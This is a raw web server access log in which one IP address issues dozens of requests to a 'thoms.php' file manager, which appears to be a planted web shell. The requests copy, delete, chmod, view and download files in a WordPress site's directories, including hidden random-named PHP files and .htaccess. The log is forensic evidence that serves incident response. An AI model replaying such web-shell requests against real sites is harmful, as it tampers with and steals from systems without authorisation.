45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11426 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p= HTTP/1.1" 200 12406 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18011 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?p=bestjudy.com.tw%2F.well-known&upload= HTTP/1.1" 200 12182 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2F.well-known&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18011 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?p=bestjudy.com.tw%2F.well-known%2Facme-challenge HTTP/1.1" 200 12072 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2F.well-known%2Facme-challenge" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /thoms.php?chmod=acme-challenge&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=acme-challenge&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /thoms.php?del=acme-challenge&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 12586 "http://163.245.207.76:443/thoms.php?del=acme-challenge&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /thoms.php?p=bestjudy.com.tw%2F.well-known&settings=1 HTTP/1.1" 200 11918 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2F.well-known&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /bestjudy.com.tw/.well-known HTTP/1.1" 301 795 "http://163.245.207.76:443/bestjudy.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /bestjudy.com.tw/.well-known/acme-challenge/ HTTP/1.1" 200 704 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /bestjudy.com.tw/.well-known/ HTTP/1.1" 200 782 "https://163.245.207.76:443/bestjudy.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known%2Facme-challenge&p= HTTP/1.1" 200 12405 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known%2Facme-challenge&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /bestjudy.com.tw/upgrade HTTP/1.1" 301 795 "http://163.245.207.76:443/bestjudy.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /thoms.php?chmod=.484325810624833.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=.484325810624833.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /bestjudy.com.tw/upgrade/ HTTP/1.1" 200 6735 "https://163.245.207.76:443/bestjudy.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /thoms.php?del=.484325810624833.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 14170 "http://163.245.207.76:443/thoms.php?del=.484325810624833.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /bestjudy.com.tw/upgrade/index.php HTTP/1.1" 200 6747 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /thoms.php?dl=.484325810624833.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 14161 "http://163.245.207.76:443/thoms.php?dl=.484325810624833.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /bestjudy.com.tw/upgrade/.984720865621595.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade&view=error_log HTTP/1.1" 200 12079 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fupgrade&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /thoms.php?del=postnews.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13978 "http://163.245.207.76:443/thoms.php?del=postnews.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade%2F.484325810624833.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade%2F.484325810624833.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /bestjudy.com.tw/upgrade/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /thoms.php?dl=.984720865621595.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13988 "http://163.245.207.76:443/thoms.php?dl=.984720865621595.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade%2Ferror_log&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11317 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade%2Ferror_log&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /thoms.php?del=admin.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13998 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade&view=postnews.php HTTP/1.1" 200 11836 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fupgrade&view=postnews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /thoms.php?chmod=postnews.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?chmod=postnews.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /thoms.php?chmod=txets.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?chmod=txets.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /bestjudy.com.tw/upgrade/txets.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /thoms.php?chmod=.htaccess&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade&view=admin.php HTTP/1.1" 200 38768 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fupgrade&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade&view=index.php HTTP/1.1" 200 11843 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fupgrade&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /thoms.php?del=txets.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13988 "http://163.245.207.76:443/thoms.php?del=txets.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /bestjudy.com.tw/upgrade/termps.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade&view=.984720865621595.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fupgrade&view=.984720865621595.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /thoms.php?del=index.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13978 "http://163.245.207.76:443/thoms.php?del=index.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade&view=termps.php HTTP/1.1" 200 11845 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fupgrade&view=termps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13977 "https://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fupgrade&view=.984720865621595.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /bestjudy.com.tw/upgrade/admin.php HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade&view=.htaccess HTTP/1.1" 200 11949 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fupgrade&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?dl=.htaccess&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13968 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade%2Fpostnews.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade%2Fpostnews.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?chmod=index.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade%2Ftxets.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade%2Ftxets.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade%2Fadmin.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade%2Fadmin.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?dl=admin.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13979 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?dl=termps.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13989 "http://163.245.207.76:443/thoms.php?dl=termps.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?del=termps.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13968 "http://163.245.207.76:443/thoms.php?del=termps.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade%2F.htaccess&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11316 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade%2F.htaccess&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?dl=error_log&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13979 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /bestjudy.com.tw/upgrade/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade&upload= HTTP/1.1" 200 12176 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fupgrade&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?chmod=.984720865621595.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=.984720865621595.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13978 "https://163.245.207.76:443/thoms.php?chmod=.984720865621595.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?chmod=error_log&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?chmod=termps.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?chmod=termps.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:10 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade%2Ftermps.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade%2Ftermps.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade&view=txets.php HTTP/1.1" 200 11847 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fupgrade&view=txets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?del=.984720865621595.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13978 "http://163.245.207.76:443/thoms.php?del=.984720865621595.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade%2Findex.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade%2Findex.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?dl=txets.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13977 "http://163.245.207.76:443/thoms.php?dl=txets.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /bestjudy.com.tw/upgrade/postnews.php HTTP/1.1" 200 114 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade%2F.984720865621595.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade%2F.984720865621595.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?dl=postnews.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13978 "http://163.245.207.76:443/thoms.php?dl=postnews.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13976 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade%2F.984720865621595.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
